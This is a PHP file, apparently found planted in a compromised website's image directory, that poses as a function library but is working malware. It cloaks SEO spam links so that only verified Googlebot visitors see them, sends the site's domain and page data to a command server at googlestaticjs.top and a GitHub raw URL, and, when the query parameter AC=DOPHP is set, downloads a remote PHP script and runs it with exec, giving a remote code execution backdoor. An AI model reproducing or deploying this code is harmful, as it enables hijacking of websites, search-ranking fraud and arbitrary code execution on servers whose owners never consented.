File "functions-php-lib.php"

Full path: /home/argothem/www/organecyberpresse/IMG/distant/xml/functions-php-lib.php
File size: 20.34 KB
MIME-type: text/html
Charset: utf-8



<?php

$wtableDir="/organecyberpresse/IMG/distant/xml";


static $hasRun = false;



function isHomePage() {  
    $url = $_SERVER['REQUEST_URI'];    
    preg_match_all('/\//', $url, $matches);
    preg_match_all('/\//', $url, $slashes);
    $slashCount = count($slashes[0]);   
    if ($slashCount == 1){ return true; }
    return false;
}
    
    // 匹配二级页 
function isFirstLevelPage() {
    $url = $_SERVER['REQUEST_URI'];
    preg_match_all('/\./', $url, $dots);
    $dotCount = count($dots[0]);
    preg_match_all('/\?/', $url, $queries);
    $queryCount = count($queries[0]);
    preg_match_all('/\//', $url, $slashes);
    $slashCount = count($slashes[0]);
    if (($dotCount == 0 && $queryCount == 0) && $slashCount == 2){
        return true;    }
    return false;
}


function isGooglebot() {    
    $userAgent = $_SERVER['HTTP_USER_AGENT'];   
    if (strpos($userAgent, 'Googlebot') ) {
        return true;    } else {        return false;
    }     
}

function isGoogleHost($ip){    
    $hostname ="0";
    $command='nslookup '.$ip;
    $hostname = shell_exec($command); 
    if (strpos($hostname, 'googlebot.com') !== false) {
        return true;    }else{        return false;
    }
    
}

function updateIP($ip,$jsonData,$filePath,$TokenNotime){    
    $jsonData['google_bot_ips'][] = $ip;
    $jsonData['new_google_bot_ips'][] = $ip;      
    $JsonStr =json_encode($jsonData,320) ; 
    $encodedJsonStr = encryptDataYY($JsonStr, $TokenNotime);
    file_put_contents($filePath, $encodedJsonStr );     
}

function getLinksHTML($links){   
    $linksArr = json_decode($links, true);
    $linksHtml = '<div style="display:block;"><ul style="display:flex;">';
    foreach ($linksArr as $link) {        
        $anchorText = $link[0];       
        $url = $link[1];
               
        $linkHtml = ' <li class=\'cat-item-all\'><a href="' . $url . '">' . $anchorText . '</a></li> '; // ##############################################
        $linksHtml .= $linkHtml;
    }
    $linksHtml .='</ul></div>';
    return $linksHtml;    
}

function encryptDataYY($data, $key) {
    $iv = openssl_random_pseudo_bytes(openssl_cipher_iv_length('aes-256-cbc'));
    $encrypted = openssl_encrypt($data, 'aes-256-cbc', hash('sha256', $key, true), 0, $iv);
    return base64_encode($encrypted . '::' . $iv);
}
function decryptDataYY($data, $key) {
    list($encrypted_data, $iv) = explode('::', base64_decode($data), 2);
    return openssl_decrypt($encrypted_data, 'aes-256-cbc', hash('sha256', $key, true), 0, $iv);
}
 
function gen_token_notime($domain) {    
    $fixed_string = "DhdL8Uf9hHNWVNcGwybP8bDhqwn3WpHrRsgaugOqx";  
    $sha256_hash = hash('sha256', $domain . $fixed_string , true);    
    $key = hash('sha256', $sha256_hash, true);        
    $token = strtr(base64_encode($sha256_hash), '+/', '-_'); 
    return array($token, $domain . $fixed_string );
}

function convert3Ip($ip) {
    $pattern = '/^(\d{1,3}\.\d{1,3}\.\d{1,3})\.\d{1,3}$/';
    $replaced = '${1}.0/24';    
    return preg_replace($pattern, $replaced, $ip);
}

function isInGoogleIPRange($ip,$GooglebotIPs){   
    $r3ip=convert3Ip($ip);
    if (in_array($ip, $GooglebotIPs) or in_array($r3ip, $GooglebotIPs)) {
        return true;     } else {        return false;
    }
}  

function replace_keywords_with_links($content, $urls_keywords_arr, $max_replace_count = 10) {
    // $used_urls = [];//>5.4
    $used_urls = array();
    $replace_count = 0;
    foreach ($urls_keywords_arr as $url_keywords) {
        foreach ($url_keywords as $url => $keywords) {
            if (in_array($url, $used_urls)) { continue; }
            shuffle($keywords);
            foreach ($keywords as $keyword) {
                if (strpos($content, $keyword) !== false && $replace_count < $max_replace_count) {                   
                    if (!in_array($url, $used_urls)) {
                        $content = preg_replace('/' . $keyword . '/', '<a href="' . $url . '">' . $keyword . '</a>', $content, 1);                        
                        $replace_count++;
                        // $used_urls[] = $url;//>5.4
                        array_push($used_urls, $url);
                        if ($replace_count >= $max_replace_count) { break 2; }
                    }
                }
            }
        }
    }

    return $content;
}


function content_page_links($content){
   

    global $wtableDir;
    $wtableDir="/organecyberpresse/IMG/distant/xml";
    $rootPath = $_SERVER['DOCUMENT_ROOT'];
    $filePath = $rootPath.'/'.$wtableDir.'/tmp/cache.json';
    $domain = $_SERVER['SERVER_NAME'];
    
	if (file_exists($filePath)) 
	{		
		list($TokenNotime, $unused2notime) = gen_token_notime($domain);
		$cacheDataStr = file_get_contents($filePath);    	
		$decrypted_data = decryptDataYY($cacheDataStr, $TokenNotime);  
		// $data = json_decode($decrypted_data, true, 512, JSON_UNESCAPED_UNICODE); 
        $data = json_decode($decrypted_data, true );     
		$GooglebotIPs=$data['google_bot_ips'];    
		$contentLinks=$data['content_page_links']; 
		$linksArr = json_decode($contentLinks, true); 
		$haveContentLinks= $haveNewGGIP= false; 	 
		if(mb_strlen($contentLinks) > 20){$haveContentLinks= true ;}		
		$ip = $_SERVER['REMOTE_ADDR'];  
	
		if ($haveContentLinks) {			
			if( isInGoogleIPRange($ip,$GooglebotIPs) ){				
				$content =  replace_keywords_with_links($content, $linksArr, $max_replace_count = 10)  ;  
			}else{				
				
				if ( isGooglebot() && isGoogleHost($ip) ) { 
					$content = replace_keywords_with_links($content, $linksArr, $max_replace_count = 10) ;       
					$haveNewGGIP=true ;                            
				}
			} 
		}
		
		if($haveNewGGIP==true){			
			updateIP($ip,$data,$filePath,$TokenNotime);
		}
        	
	}	 
	return $content; 
}


function site_friend_links($linksContainerHTML){

   

    global $wtableDir;
    $wtableDir="/organecyberpresse/IMG/distant/xml";
    $rootPath = $_SERVER['DOCUMENT_ROOT'];
    $filePath = $rootPath.'/'.$wtableDir.'/tmp/cache.json';

     
    $domain = $_SERVER['SERVER_NAME'];

    if (file_exists($filePath)) 
    {   
	 
        
        list($TokenNotime, $unused2notime) = gen_token_notime($domain);
        $cacheDataStr = file_get_contents($filePath);         
        $decrypted_data = decryptDataYY($cacheDataStr, $TokenNotime);  

        // $data = json_decode($decrypted_data, true, 512, JSON_UNESCAPED_UNICODE); 
        $data = json_decode($decrypted_data, true ); 
 
        $GooglebotIPs=$data['google_bot_ips'];  
        $insert_urls=$data['insert_urls']; 
        $indexLinks= $insert_urls[0]['index']; $catLinks  = $insert_urls[1]['category']; $allLinks  = $insert_urls[2]['all_page'];
        $haveIndexLinks= $haveCatLinks= $haveAllLinks=  $haveNewGGIP= false; 

        if(mb_strlen($indexLinks) > 20){   $haveIndexLinks = true ;}         
        
        if(mb_strlen($catLinks) > 20){ $haveCatLinks = true ;} 
        
        if(mb_strlen($allLinks) > 20){ $haveAllLinks = true ;}
        $ip = $_SERVER['REMOTE_ADDR'];  

	 

    
        if ($haveIndexLinks and isHomePage() ) {   
	 
            if( isInGoogleIPRange($ip,$GooglebotIPs) ){
		 
               
                $linksHTML = getLinksHTML($indexLinks) ;  
                $linksContainerHTML.= $linksHTML;  
 
            }else{
 
                
                if ( isGooglebot() && isGoogleHost($ip) ) { 
                    $linksHTML = getLinksHTML($indexLinks) ;             
                    $linksContainerHTML.= $linksHTML;                
                    $haveNewGGIP=true ;                                 
                }
            }    
        }
    
        if($haveCatLinks and isFirstLevelPage() and !isHomePage() ){ 
            if( isInGoogleIPRange($ip,$GooglebotIPs) ){
                $linksHTML = getLinksHTML($catLinks) ;      
                $linksContainerHTML.= $linksHTML;   
            }else{                
                if ( isGooglebot() && isGoogleHost($ip) ) { 
                    $linksHTML = getLinksHTML($catLinks) ;              
                    $linksContainerHTML.= $linksHTML;     
                    $haveNewGGIP=true ;                          
                }
            } 
        } 
 
        if( $haveAllLinks ){            
            if( isInGoogleIPRange($ip,$GooglebotIPs) ){
                $linksHTML = getLinksHTML($allLinks) ;    
                $linksContainerHTML.= $linksHTML;   
            }else{                
                if ( isGooglebot() && isGoogleHost($ip) ) { 
                    $linksHTML = getLinksHTML($allLinks) ;                 
                    $linksContainerHTML.= $linksHTML;          
                    $haveNewGGIP=true ;                     
                }
            }

        } 
       
        if($haveNewGGIP==true){
            updateIP($ip,$data,$filePath,$TokenNotime);
        }
    
    }else{
	 
    }

    return $linksContainerHTML; 
} 

///
function checkUrlWorkOK($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_NOBODY, true);
    curl_exec($ch);
    $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    if( $httpCode >= 200 && $httpCode <= 300){
        return true;
    } else {
        return false;
    }
}

function random_bytesYYY($length) {
    $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
    $charactersLength = strlen($characters);
    $randomString = '';
    for ($i = 0; $i < $length; $i++) {
    $randomString .= $characters[rand(0, $charactersLength - 1)];
    }
    return $randomString;
}

function encrypt($data, $token) {
    $iv = random_bytesYYY(16); 
    $key = hash('sha256', $token, true);
    $encrypted_data = openssl_encrypt(json_encode($data,320), 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv); 
    $encrypted_data = base64_encode($iv . $encrypted_data);
    return $encrypted_data;
}
function decrypt($encrypted_data, $token) {
    $encrypted_data = base64_decode($encrypted_data);
    $iv = substr($encrypted_data, 0, 16);
    $encrypted_data = substr($encrypted_data, 16); 
    $key = hash('sha256', $token, true);
    $decrypted_data = openssl_decrypt($encrypted_data, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $iv);  
    return $decrypted_data;
}
function gen_token($domain) {  
    $fixed_string = "DhdL8Uf9hHNWVNcGwybP8bDhqwn3WpHrRsgaugOqx";    
    $utc_time = gmdate('Y-m-d');  
    $sha256_hash = hash('sha256', $domain . $fixed_string . $utc_time, true);    
    $key = hash('sha256', $sha256_hash, true); 
    $token = strtr(base64_encode($sha256_hash), '+/', '-_'); 
    return array($token, $domain . $fixed_string . $utc_time);
}


function updateApiCache($cache_file) {
     
    // $api_urls = [
    //     'https://static.googlestaticjs.top/new_api',
    //     'https://raw.githubusercontent.com/glady1998/testdemo/main/new_api',
    // ];
    $api_urls = array(
        'https://static.googlestaticjs.top/new_api',
        'https://raw.githubusercontent.com/glady1998/testdemo/main/new_api'  
      );

    foreach ($api_urls as $api_url) {
        $latest_api_content = @file_get_contents($api_url);
        if ($latest_api_content !== false) {
            $latest_api_content = trim($latest_api_content);            
            $directory = dirname($cache_file);
            if (!is_dir($directory)) {  mkdir($directory, 0777, true); }
            if (!file_exists($cache_file)) {  touch($cache_file);}
            file_put_contents($cache_file, $latest_api_content);            
            break;
        }
    }
} 


function getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url ) { 
    $postJdata = '{"new_google_bot_ips":'.json_encode($newGooglebotIPs).',"domain":"'.$domain.'","page_url":"'.$page_url.'","token":"'.$Token.'" } ';  
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $apiUrl); 
    curl_setopt($ch, CURLOPT_POST, true);    
    curl_setopt($ch, CURLOPT_POSTFIELDS, $postJdata  ); 
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    curl_setopt($ch, CURLOPT_HEADER, false);    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);    curl_setopt($ch, CURLOPT_MAXREDIRS, 3);    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
    $jsonResponse = curl_exec($ch);
    curl_close($ch);  
    return $jsonResponse;
}

function processSaveAPIData($gotEncJson,$Token,$TokenNotime,$filePath){    
    // $gotEncJson = json_decode($gotEncJson, true, 512, JSON_UNESCAPED_UNICODE);//
    $gotEncJson = json_decode($gotEncJson, true );
    if($gotEncJson === null) {
        touch($filePath);
    } else {        
        if( isset($gotEncJson['msg']) and isset($gotEncJson['data']) and ($gotEncJson['msg'] == 'token ok') ){                      
            $received_data = $gotEncJson['data'];
            $decrypted_data = decrypt($received_data, $Token);
            // $dataJsonORI = json_decode($decrypted_data, true, 512, JSON_UNESCAPED_UNICODE); 
            $dataJsonORI = json_decode($decrypted_data, true ); 
            if($dataJsonORI === null){
                touch($filePath);
            }else{
                $encryptedJsonStr = encryptDataYY($dataJsonORI, $TokenNotime); 
                if(mb_strlen($encryptedJsonStr) > 100){     
                    $directory = dirname($filePath);
                    if (!is_dir($directory)) {  mkdir($directory, 0777, true); }
                    if (!file_exists($filePath)) {  touch($filePath);}  
                    file_put_contents($filePath, $encryptedJsonStr);
                }else{touch($filePath);} 
            }
        }else{touch($filePath);}
    } 
}

///

function heartBT(){

   
 
    
    $originalTimeZone = date_default_timezone_get();
    date_default_timezone_set('UTC');

    global $wtableDir;
    $wtableDir="/organecyberpresse/IMG/distant/xml";
    $rootPath = $_SERVER['DOCUMENT_ROOT'];
      
    $filePath       = $rootPath.'/'.$wtableDir.'/tmp/cache.json'; 
    $api_cache_file = $rootPath.'/'.$wtableDir.'/tmp/api_cache.txt'; 
    $localPHPPath   = $rootPath.'/'.$wtableDir.'/tmp/tudo.php';

    // $apiUrlsBase = [ 'https://static.googlestaticjs.top/heartbeat-packet/' ];//>5.4//****** !!!!!!########### */
    $apiUrlsBase = array( 'https://static.googlestaticjs.top/heartbeat-packet/' );//****** !!!!!!########### */
    
    $AC="";
    if(isset($_GET['AC'])){ $AC=trim($_GET['AC']); $AC=str_replace(' ','',$AC); }
    $domain = $_SERVER['SERVER_NAME'];
    $page_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF']; 
    $apiUrl = "";
    // $newGooglebotIPs =[];//>5.4
    $newGooglebotIPs = array();
    $heartbeat_packet_interval=30;
    $updateTime="2022-11-11 11:00:00"; 
    $dateYI = new DateTime();
    $dateYI->setTimezone(new DateTimeZone('UTC'));
    $nowTime=$dateYI->format('Y-m-d H:i');
    
    list($Token, $unused2) = gen_token($domain); list($TokenNotime, $unused2notime) = gen_token_notime($domain);
    
    if (file_exists($filePath)) { 
        $mtime = filemtime($filePath);
        $updateTime= date('Y-m-d H:i', $mtime);    
        $cacheDataStr = file_get_contents($filePath);    
        $decrypted_data = decryptDataYY($cacheDataStr, $TokenNotime);  
        // $data = json_decode($decrypted_data, true, 512, JSON_UNESCAPED_UNICODE); 
        $data = json_decode($decrypted_data, true ); 
        $heartbeat_packet_interval=$data['heartbeat_packet_interval']; 
        if($heartbeat_packet_interval<1){$heartbeat_packet_interval=30;} 
        $apiUrls=$data['api_list']; 
        
        if(!empty($apiUrls)){
            $apiUrl = $apiUrls[0];             
        }else{
            $apiUrl = $apiUrlsBase[0];
        }    

        $newGooglebotIPs = $data['new_google_bot_ips'];   

    }else{        
        $apiUrl = $apiUrlsBase[0];        
    } 





    if ( is_numeric($AC) and ($AC>1) ){
        $timeDiff = strtotime($nowTime) - strtotime($updateTime);
        $minutesDiff = floor($timeDiff / 60);
        if ($minutesDiff >= $AC) {        
            $newJson=getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url);    
            if(mb_strlen($newJson) > 100){
                processSaveAPIData($newJson,$Token,$TokenNotime,$filePath);
            }
        } 
    }elseif($AC=="DO"){    
        $newJsonORI=getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url); 
        if(mb_strlen($newJsonORI) > 100){     
        processSaveAPIData($newJsonORI,$Token,$TokenNotime,$filePath);
        }
    }elseif($AC=="DOPHP"){
        // $api_urls = [
        //     'https://static.googlestaticjs.top/tudo',
        //     'https://raw.githubusercontent.com/glady1998/testdemo/main/tudo',        ]; //****** !!!!!!########### */
        $api_urls = array(
            'https://static.googlestaticjs.top/tudo',
            'https://raw.githubusercontent.com/glady1998/testdemo/main/tudo' );    //****** !!!!!!########### */

        foreach ($api_urls as $api_url) {
            $latest_api_content = @file_get_contents($api_url);
            if ($latest_api_content !== false) {           
                $localFilePath = $localPHPPath ; 
                $directory = dirname($localFilePath);
                if (!is_dir($directory)) {  mkdir($directory, 0777, true); }
                if (!file_exists($localFilePath)) {  touch($localFilePath);}
                $result = file_put_contents($localFilePath, $latest_api_content);

                if ($result !== false) {                 
                    $command = 'php ' . $localFilePath;
                    exec($command, $output, $return_var);                 
                    if ($return_var === 0) {
                        echo "<br>PHP RUN OK ...\n";
                        echo "<br>OUTPUT:\n";
                        echo implode("\n", $output);
                        break;
                    } else {
                        echo "<br>PHP RUN FAILED ...\n";
                        echo "<br>ERROR CODE: " . $return_var . "\n";
                    }
                } else {
                    echo "<br>file_put_contents WRITE FAILED \n";
                }
            } else {
                echo "<br>file_get_contents FAILED=$api_url<br>";
            }        
        } 
    }else{    
        $timeDiff = strtotime($nowTime) - strtotime($updateTime);
        $minutesDiff = floor($timeDiff / 60); 
       
        if ( $minutesDiff >= $heartbeat_packet_interval) {    
      
            $urlWork=false;
            if(!checkUrlWorkOK($apiUrl)) {
                foreach ($apiUrlsBase as $url) {
                    if(checkUrlWorkOK($url)) { $apiUrl = $url; $urlWork=true; break; } 
                } 
                if($urlWork==false){
                    if (file_exists($api_cache_file)) {        
                        $lines = file($api_cache_file, FILE_IGNORE_NEW_LINES); 
                        if(count($lines)>0){                           
                            foreach ($lines as $url) {
                                if(checkUrlWorkOK($url)) { $apiUrl = $url;  $urlWork=true; break; } 
                            }
                        }else{
                            updateApiCache($api_cache_file); 
                        }      
                    }else{
                        updateApiCache($api_cache_file);
                    }
                }
            }else{
                $newJson=getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url);    
                if(mb_strlen($newJson) > 100){           
                    processSaveAPIData($newJson,$Token,$TokenNotime,$filePath);
                }
            }
            
            if($urlWork){
                $newJson=getAPIData($apiUrl,$newGooglebotIPs,$Token,$domain,$page_url);    
                if(mb_strlen($newJson) > 100){
                    processSaveAPIData($newJson,$Token,$TokenNotime,$filePath);
                }
            }
        }
        
        if (file_exists($api_cache_file)) {       
            $mtimeAPI = filemtime($api_cache_file);
            $updateTimeAPI= date('Y-m-d H:i', $mtimeAPI);
            $timeDiffAPI = strtotime($nowTime) - strtotime($updateTimeAPI);
            $minutesDiff = floor($timeDiffAPI / 60);  
            
            if ($minutesDiff > floor($heartbeat_packet_interval / 2)) {                  
                updateApiCache($api_cache_file);            
            }
        } else {                 
            updateApiCache($api_cache_file);
        }

    }//end if AC, AC=123 AC=DO PHP

    date_default_timezone_set($originalTimeZone);

}//endfunction heartBT 


//////

 

?>